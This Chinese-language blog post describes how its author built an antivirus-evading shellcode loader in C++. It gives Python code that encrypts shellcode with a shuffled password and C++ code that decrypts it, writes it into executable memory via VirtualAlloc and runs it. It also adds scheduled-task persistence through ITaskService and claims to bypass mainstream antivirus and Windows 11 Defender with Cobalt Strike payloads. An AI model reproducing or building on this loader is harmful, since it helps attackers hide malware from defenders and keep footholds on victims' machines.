千寻笔记:C++免杀记
VSole2022-04-11 18:23:41
0x00 前言
看到师傅们不停的分享各种免杀的思路,收获颇多,学习总结之余也做了练习,最终实现了主流杀毒的免杀处理。
这里主要分享一下免杀思路,没有什么技术性。
0x01 shellcode Loader思路
shellcode加载器顾名思义就是通过申请内存、把shellcode放入内存来加载shellcode。
没有经过加密的shellcode做的免杀会直接被杀,所以就要对shellcode先进行一些加密处理后,然后通过本地或远程加载shellcode,在加载器程序中解密shellcode后写入申请的内存中即可。
shellcode的加载器大致流程下图所示:
0x02 加密算法
用Python自写加密算法通过随机密码进行加密,部分代码如下:shellcode加密函数
def encrypt2(srcStr,password): arr = srcStr.split(',0x') for i in range(1,len(arr)): arr[i]=int(arr[i],16) tempStr = "" for index in range(len(str(arr[i]))): tempStr=tempStr+password[int(str(arr[i])[index])] arr[i]=str(len(tempStr))+tempStr #print(arr) return ''.join(arr)
随机密码
def shuffle_str(s): str_list = list(s) shuffle(str_list) return ''.join(str_list) passwd=shuffle_str('7032614895')
加密shellcode,这里是把加密的密码放在shellcode前面了。
jm =passwd+encrypt2(jm, passwd)
附一个加密后的shellcode图:
0x03 C++ shellcode Loader
部分代码如下:
提取加密后的shellcode及加密密码
char str[] = ""string str1(str);//密码string passwd1 = str1.substr(0, 10);//shellcodestring shellcode1 = str1.substr(10, str1.length());const char* shellcode2 = shellcode1.data();
对shellcode进行解密
int k = 0;for (int i = 0; i < shellcode1.length(); i++){ int len1; len1 = shellcode2[i] - 48; string dange = ""; for (int j = 0; j < len1; j++) { string a = to_string(shellcode2[i + j + 1] - 48); int a1 = passwd1.find(a); string a2 = to_string(a1); dange.append(a2); } i = i + len1; int dange4 = std::stoi(dange); ss[k] = *((char*)&dange4); k = k + 1;}
申请内存,把shellcode放入内存执行,此处使用自定义defer函数改变执行顺序(defer为Go自带函数):
LPVOID Memory = VirtualAlloc(NULL, sizeof(ss), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);defer(((void(*)())Memory)(););defer(memcpy(Memory, ss, sizeof(ss)););defer(if (Memory == NULL) { return 1; });
0x04 权限维持
这里自行参考微软官方Demo,通过C++调用com组件 ITaskService,来实现免杀权限维持的功能。
添加成功效果图如下:
0x05 效果
主流杀软静态查杀:
CS命令执行测试:
win11 Defender测试:
0x06 总结
print("没有长久的规避技术,免杀只是与反病毒技术的长久对抗。")
参考链接:
https://docs.microsoft.com/zh-cn/windows/win32/taskschd/logon-trigger-example--c---
项目地址(求star):
https://github.com/G73st/BypassAV

VSole
网络安全专家